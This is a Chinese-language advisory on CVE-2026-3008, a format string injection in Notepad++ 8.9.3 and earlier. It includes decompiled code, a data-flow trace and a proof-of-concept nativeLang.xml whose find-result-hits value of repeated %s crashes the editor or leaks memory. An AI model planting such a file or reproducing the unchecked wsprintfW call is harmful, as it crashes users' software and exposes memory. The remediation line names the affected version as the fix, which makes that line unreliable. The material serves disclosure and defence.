Notepad++ 8.9.3格式字符串注入CVE-2026-3008
Notepad++ 是 Windows 平台下一款免费开源、轻量但功能极强的文本 / 代码编辑器,常被称为 “系统记事本的超级增强版”,启动极快。
一、基本情况
Notepad++ 是一款开源文本编辑器,广泛应用于 Windows 代码编辑与文本处理,内存占用低,适合需要高效处理文本与代码的用户。

Notepad++ 是专为Windows系统打造的免费开源纯文本编辑器与源代码编辑器,遵循GPL开源授权协议,个人与商业场景均免费使用。
栋科技漏洞库关注到 Notepad++ 在 8.9.3 及之前版本的格式字符串注入漏洞,漏洞现已被追踪为CVE-2026-3008,CVSS 3.1评分6.6。
二、漏洞分析
CVE-2026-3008 是 Notepad++ 漏洞,攻击者通过恶意构造的nativeLang.xml等文件触发,利用后可泄露内存地址信息或导致应用崩溃。
受影响版本中,FindReplaceDlg::findAllIn 函数在处理搜索结果时,
调用 wsprintf(_findAllResultStr, text.c_str()) 将从 nativeLang.xml 读取的 find-result-hits 值作为格式字符串处理。
1、当恶意语言包在 find-result-hits 中注入 %s、%x 等格式说明符时,
wsprintf 会将其作为格式指令解析,导致内存地址信息泄露或应用崩溃。
当搜索操作生成结果时,sub_1400916C0 函数会从 nativeLang.xml 文件中读取本地化字符串,
并将其直接作为格式化字符串传入宽字符格式化函数 wsprintfW,以此完成命中计数标签的格式化处理。
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
该字符串源自nativeLang.xml文件中的<find-result-hits>属性,且在整个数据流中未经过任何校验。
nativeLang.xml
→ TinyXML parser (reads XML attribute, no content validation)
→ NativeLangSpeaker (UTF-8 → UTF-16 conversion, no validation)
→ sub_140099E60 ($INT_REPLACE$ substitution — format specifiers survive)
→ wsprintfW(buf, v38) (v38 used as format string argument, not data)
调用wsprintfW时仅传入两个参数,无可变参数数据。
v38中的任何格式说明符都会从x64调用约定的参数槽(R8、R9、栈)中读取值,这些位置存储着无用的寄存器残留数据。
三、POC概念验证
将下述文件放置于 <npp 目录>\nativeLang.xml(便携版)或 % APPDATA%\Notepad++\nativeLang.xml(安装版)路径下,
随后,启动记事本 ++,执行任意可返回结果的搜索操作(按下 Ctrl+F,选择在当前文档中全部查找)。
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
结果:Notepad++ 随即崩溃,wsprintfW 函数发生访问冲突。
更多载荷变体存放于 payloads/ 目录中。
四、影响范围
Notepad++ <= 8.9.3
五、修复建议
Notepad++ >= 8.9.3
六、参考链接
管理员已设置登录后刷新可查看